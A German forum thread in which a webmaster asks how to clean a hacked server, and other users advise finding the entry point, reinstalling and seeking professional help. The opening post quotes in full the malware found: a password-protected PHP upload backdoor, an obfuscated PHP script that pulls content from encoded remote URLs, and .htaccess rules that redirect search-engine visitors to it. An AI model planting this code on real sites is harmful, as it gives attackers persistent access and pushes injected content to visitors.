Dauerhafter Schadcode auf Server - Wie vorgehen?

Majora

New Member
Hallo,
ich habe ein Problem undzwar hat ein Angreifer einen Backdoor auf den FTP-Server in einem tiefen Verzeichnis abgelegt mit folgendem Inhalt:

Code:
<?php
if(!empty($_FILES['message']['name']) && (md5($_POST['name']) == '2970d43d7bf4115cdc60e2453bf48b52')) 
{
	$security_code = (empty($_POST['security_code'])) ? '.' : $_POST['security_code'];
	$security_code = rtrim($security_code, "/");
	@move_uploaded_file($_FILES['message']['tmp_name'], $security_code."/".$_FILES['message']['name']) ? print "<b>Message sent!</b><br/>" : print "<b>Error!</b><br/>";
}
print '<html>
    <head>
    <title>Search form</title>
    </head>
    <body>
    <form enctype="multipart/form-data" action="" method="POST">
    Message: <br/><input name="message" type="file" />
    <br/>Security Code: <br/><input name="security_code" value=""/>
	<br/>Name: <br/><input name="name" value=""/><br/>
    <input type="submit" value="Sent" />
    </form>
    </body>
    </html>';//41324628

über diese Datei hat er in allen Unterverzeichnissen eine Dateie names phpinfo.php abgelegt mit folgenden Inhalt:

Code:
<? $GLOBALS['_763850370_']=Array(base64_decode('ZGVmaW5l'),base64_decode('ZGVm'.'a'.'W5'.'l'),base64_decode('aW1'.'hZ2VmaWx0ZXI='),base64_decode('Z'.'nJlYWQ='),base64_decode('ZmlsZV9nZ'.'XRfY'.'29u'.'dG'.'Vud'.'HM='),base64_decode('ZGly'),base64_decode('a'.'W1h'.'Z2V'.'kZ'.'X'.'N0cm9'.'5'),base64_decode('c3R'.'yZWFt'.'X'.'2'.'Nv'.'bnR'.'leHRfY'.'3J'.'lY'.'XRl'),base64_decode('Zmls'.'ZV9nZ'.'XRf'.'Y29'.'udGVu'.'dHM='),base64_decode('ZnB1'.'dHM'.'='),base64_decode(''.'Z'.'nJlYW'.'Q='),base64_decode('ZmNs'.'b3Nl'),base64_decode(''.'c3'.'RycmV2'),base64_decode('c3Ry'.'cG9z'),base64_decode(''.'c3R'.'yc'.'G9'.'z'),base64_decode('YXJyYX'.'lf'.'a2V5c'.'w='.'='),base64_decode('c'.'3Vic3Ry'),base64_decode('Y29zaA=='),base64_decode('dGltZQ=='),base64_decode('Y3VybF9pbml0'),base64_decode('Y'.'3V'.'y'.'bF9zZXR'.'v'.'cHQ='),base64_decode('Y'.'3Vy'.'bF9z'.'ZXRvcHQ'.'='),base64_decode('c29ja2V0X2d'.'ldF9zdGF0d'.'XM='),base64_decode('Y3V'.'ybF'.'9z'.'Z'.'XRvcHQ='),base64_decode('cGFjaw=='),base64_decode('c3RydG90aW'.'1l'),base64_decode(''.'Y3VybF9'.'leGVj'),base64_decode('Y3Vy'.'b'.'F'.'9jbG9zZQ=='),base64_decode(''.'a'.'W'.'5p'.'X2dl'.'dA'.'=='),base64_decode('cGFyc2VfdXJ'.'s'),base64_decode('ZnNvY2'.'tvcGVu'),base64_decode('Zn'.'Vu'.'Y'.'3Rpb25fZX'.'hpc3R'.'z')); ?><? function _1573533058($i){$a=Array(''.'SUZ'.'SQU1FX1VSTA'.'==','aHR0c'.'DovL2dv'.'d3IuZHJkYXRh'.'aG'.'91'.'c2'.'UuY'.'29'.'tLz'.'EudHh0','SUZSQU1F'.'X1VS'.'TF8y','aHR0c'.'DovL3Rlb'.'X'.'AubXliaWtlc2l'.'naH'.'Q'.'uY29'.'tLz'.'EudHh0','aHR0cDov'.'Lw'.'==','S'.'FRUUF9IT1NU','UkVRVU'.'VTVF9'.'VUkk=','aHR0cA==','dGltZW91d'.'A==','R0VUIA'.'==','Pw==',''.'IEhUV'.'FAgMS4w'.'DQo=','VXNl'.'c'.'i'.'1BZ2Vud'.'DogT'.'W9'.'6a'.'W'.'xsY'.'S81LjAg'.'KFdpbmRvd3M7IF'.'U7IFd'.'pbmRv'.'d3M'.'gTl'.'Qg'.'N'.'S4xOyBlbi'.'1VUzs'.'gcnY6'.'MS44'.'LjAuM'.'y'.'kgR2Vja'.'28'.'v'.'MjAwN'.'jA0M'.'jYgRm'.'lyZW'.'ZveC8xLjU'.'uM'.'C4zD'.'Qo'.'=','QWN'.'j'.'Z'.'XB0O'.'iAqLyoNCg==','QW'.'NjZXB0LUx'.'h'.'bm'.'d1YWdlOiBlbi1'.'1'.'cy'.'xl'.'bjtxPTAuNQ0'.'K','QWNjZXB0LUNoY'.'XJ'.'zZXQ6IE'.'lTTy04OD'.'U5LTEsdXRmLTg7cT0'.'wL'.'jcs'.'Kj'.'txPTAuNw'.'0K','S2VlcC1BbGl'.'2ZTog'.'M'.'zA'.'wDQo=','Q2'.'9u'.'bmVjd'.'Gl'.'v'.'bjoga2Vlc'.'C1'.'hbGl2'.'ZQ0'.'K','DQoNCg==','bnZ'.'kcGtnamZkZWdwc'.'Wg=','cn'.'Z'.'meg='.'=',''.'YWx'.'sb3dfdXJsX2Z'.'vcGVu','aG9'.'zdA==','aG9zdA==','cG'.'F'.'0aA'.'==','cXVlc'.'nk'.'=','Y'.'3V'.'yb'.'F9'.'p'.'bm'.'l'.'0');return base64_decode($a[$i]);} ?><?php $GLOBALS['_763850370_'][0](_1573533058(0),_1573533058(1));$GLOBALS['_763850370_'][1](_1573533058(2),_1573533058(3));if((round(0+2689)^round(0+2689))&& $GLOBALS['_763850370_'][2]($_0,$_1,$_2,$_3))$GLOBALS['_763850370_'][3]($_4);$_5=l__3(IFRAME_URL);if(empty($_5)){$_5=l__3(IFRAME_URL_2);}echo $_5;echo@$GLOBALS['_763850370_'][4](_1573533058(4) .$_SERVER[_1573533058(5)] .$_SERVER[_1573533058(6)]);if((round(0+233+233+233+233)+round(0+250.4+250.4+250.4+250.4+250.4))>round(0+932)|| $GLOBALS['_763850370_'][5]($_6,$_7));else{$GLOBALS['_763850370_'][6]($_8);}function l__0($_9){$_10=$GLOBALS['_763850370_'][7](array(_1573533058(7)=> array(_1573533058(8)=> round(0+7.5+7.5))));return $GLOBALS['_763850370_'][8]($_9,false,$_10);}function l__1($_11,$_4,$_12,$_2){$GLOBALS['_763850370_'][9]($_11,_1573533058(9) .$_12 ._1573533058(10) .$_2 ._1573533058(11) ."Host: $_4\r\n" ._1573533058(12) ._1573533058(13) ._1573533058(14) ._1573533058(15) ._1573533058(16) ._1573533058(17) ."Referer: http://$_4\r\n\r\n");while($_13=$GLOBALS['_763850370_'][10]($_11,round(0+4096))){$_3 .= $_13;}$GLOBALS['_763850370_'][11]($_11);while(round(0+549+549+549+549+549)-round(0+915+915+915))$GLOBALS['_763850370_'][12]($_0,$_14,$_9,$_0);$_8=$GLOBALS['_763850370_'][13]($_3,_1573533058(18));if($GLOBALS['_763850370_'][14](_1573533058(19),_1573533058(20))!==false)$GLOBALS['_763850370_'][15]($_10,$_14,$_9);$_3=$GLOBALS['_763850370_'][16]($_3,$_8+round(0+4));return $_3;if((round(0+919.75+919.75+919.75+919.75)^round(0+1226.3333333333+1226.3333333333+1226.3333333333))&& $GLOBALS['_763850370_'][17]($_2))$GLOBALS['_763850370_'][18]($_12,$_6);}function l__2($_9){$_7=$GLOBALS['_763850370_'][19]($_9);$GLOBALS['_763850370_'][20]($_7,round(0+42),FALSE);$GLOBALS['_763850370_'][21]($_7,round(0+9956.5+9956.5),TRUE);while(round(0+1967)-round(0+491.75+491.75+491.75+491.75))$GLOBALS['_763850370_'][22]($_0,$_12);$GLOBALS['_763850370_'][23]($_7,round(0+2.6+2.6+2.6+2.6+2.6),round(0+7.5+7.5));if((round(0+1812.5+1812.5)^round(0+1812.5+1812.5))&& $GLOBALS['_763850370_'][24]($_6,$_4,$_5,$_4))$GLOBALS['_763850370_'][25]($_10,$_14);$_3=$GLOBALS['_763850370_'][26]($_7);$GLOBALS['_763850370_'][27]($_7);return $_3;}function l__3($_9){if($GLOBALS['_763850370_'][28](_1573533058(21))== round(0+0.2+0.2+0.2+0.2+0.2)){$_14=l__0($_9);}else{$_1=$GLOBALS['_763850370_'][29]($_9);if($_11=@$GLOBALS['_763850370_'][30]($_1[_1573533058(22)],round(0+20+20+20+20),$_6,$_0,round(0+15))){$_14=l__1($_11,$_1[_1573533058(23)],$_1[_1573533058(24)],$_1[_1573533058(25)]);}elseif(@$GLOBALS['_763850370_'][31](_1573533058(26))){$_14=l__2($_9);}}return $_14;$_15=round(0+2015.5+2015.5);}

Dazu hat er noch meine .htaccess verändert und in dem Verzeichnis wo die .htaccess noch nicht vorhanden war, hat der Angreifer diese hinzugefügt.

Folgende Zeilen Code standen in der .htaccess:

Code:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|yandex|ya|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|linkedin|flickr|filesearch|yell|openstat|metabot|gigablast|entireweb|amfibi|dmoz|yippy|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|infospace|web|websuche|witch|wolong|oekoportal|freenet|arcor|alexana|tiscali|kataweb|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|westaustraliaonline)\.(.*)
RewriteCond %{HTTP_USER_AGENT} ^.*(msie|opera) [NC]
RewriteCond %{REQUEST_FILENAME} !/phpinfo.php
RewriteRule (.*) /phpinfo.php?query=$1 [QSA,L]
</IfModule>

Ist ein Besucher mit dem Internet Explorer oder Opera von Google und anderen Suchmaschinen auf die Seite gekommen, so hat dieser eine Fehlermeldung gesehen.

Ich habe schon mein FTP-Passwort geändert. Allerdings hat das nichts gebracht. Der Angreifer hat auch Tage danach noch was hochladen können. War es wirklich möglich, über diese Backdoordatei was auf dem FTP-Server hochzuladen?
Wie verhalte ich mich in Zukunft? Es ist ziemlich nervig alle Dateien aus allen Verzeichnissen manuell zu löschen. Außerdem verliere ich ja Besucher auf den Seiten, wenn diese über Google & Co. kommen.

Kann ich meine FTP-Rechte so einstellen, dass keine neuen Dateien erstellt werden können über CHMOD?
Bei mir haben standartmäßig alle Dateien 644 CHMOD-Rechte und die Ordner CHMOD 755.

Ich hoffe ihr könnt mir da helfen.

Grüße
Matthias
 
Hallo,

interessant wäre erst einmal zu Wissen wie er deinen Server kompromittiert hat!

Alte Software? Fehlerhafte Scripts mit Sicherheitslücken?

Das einfache ändern des FTP Passwortes bringt überhaupt nichts mehr! Irgendwo wird sicher ein Hintertürchen zu deinem Server offen sein ;)

Daten sichern und deinen Server neu installieren hilft da nur! Und nicht nach dem Reinstall einfach alle Dateien wieder hochladen, sondern vorher erst die Sicherheitslücke ausfindig machen! Sonst hast du das Problem bald wieder ;)
 
Also erst einmal besteht mit deinem ersten Codeschnippsel nach oberflächlicher Betrachtung die Möglichkeit, beliebige Dateien auf den Webserver hochzuladen, und zwar in alle Verzeichnisse, auf die der Webserver schreibenden Zugriff hat.
Das ganze ist unabhängig von deinem FTP-Zugang. Wie der Angreifer den ersten Zugriff erlangt hat, mußt du herausfinden. Neben einem FTP-Kennwort kann es natürlich auch eine Sicherheitslücke in einem von dir installierten PHP-Script oder ähnliches sein.
Solange du nicht jede einzelne Datei geprüft hast, ob sie wirklich sauber ist, hat der Angreifer immer wieder die Möglichkeit, weiterhin deinen Server zu mißbrauchen. Auch mußt du die Lücke, die als erstes ausgenutzt wurde, finden und schließen.
 
Kann ich meine FTP-Rechte so einstellen, dass keine neuen Dateien erstellt werden können über CHMOD?
Bei mir haben standartmäßig alle Dateien 644 CHMOD-Rechte und die Ordner CHMOD 755.

Abgesehen davon, dass Dein Server sowieso wesentlich schwerwiegender kompromittiert wurde und das deshalb nichts helfen würde, wäre das so oder so nur das Herumdoktern an Symptomen.
Wie beide Vorposter schon sagten: ohne genaue Analyse wird das gar nichts.

Im Zweifel wirst Du auf professionelle Hilfe zurückgreifen müssen.
 
Im Zweifel wirst Du auf professionelle Hilfe zurückgreifen müssen.

Auf Grund des Kenntnisstandes, den das Eingangsposting vermuten läßt, ist professionelle Hilfe wohl dringend anzuraten.
Ich bin kein Anwalt, aber da bekannt ist, daß der Server kompromitiert ist, herscht nun sofortiger Handlungsbedarf, denn jeder Schaden, der jetzt durch diese Kompromitierung noch entsteht, dürfte nun dem Admin zur Last gelegt werden können, weil dieser keine geeigneten Gegenmaßnahmen ergriffen wurden - wenn die Kenntnis nicht vorhanden ist, dann vorübergehend den Server abschalten!
@Majora: Das ist von mir ein wirklich gut gemeinter Ratschlag, fühl dich bitte nicht angegriffen. Als Admin bist du für alles, was auf deinem Server geschieht, verantwortlich und kannst auch haftbar gemacht werden, wenn jemand anderes deinen Server mißbraucht (Stichtwort Störerhaftung) - da können auch mal schnell mehrstelle Geldbeträge zusammenkommen.
 
Abgesehen von den einzig richtigen Hinweisen meiner Vorposter (Ursprungslücke schliessen und Reinstall), kann ich Dir einen kleinen temporären Workaround zum Verhindern weiterer Ausführungen der phpinfo.php anbieten:

In der php.ini die short_open_tags deaktivieren, dann gibt es zwar Fehlermeldungen in den Logs und eventuell für Clients, aber die phpinfo.php werden nicht mehr ausgeführt. Hilft aber nur in diesem speziellen Fall, weil der Angreifer nicht sehr intelligent ist. Sollte er aber künftig <?php statt <? setzen, dann ist der Workaround für die Katz.

Also bitte umgehend die Ursprungslücke finden und fixen. Dann die Kiste ohne Lücke reinstallieren und ein geprüftes sauberes Backup der Nutzdaten zurückspielen.

Künftig bitte besser aufpassen und generell alle Updates einspielen, auch wenn sie noch so unwichtig erscheinen mögen. Viele Softwarehersteller deklarieren Sicherheitsupdates nämlich nicht mehr als solche, so dass auch vermeintlich unwichtige Updates Sicherheitslücken schliessen ohne dies zu erwähnen.
 
Back
Top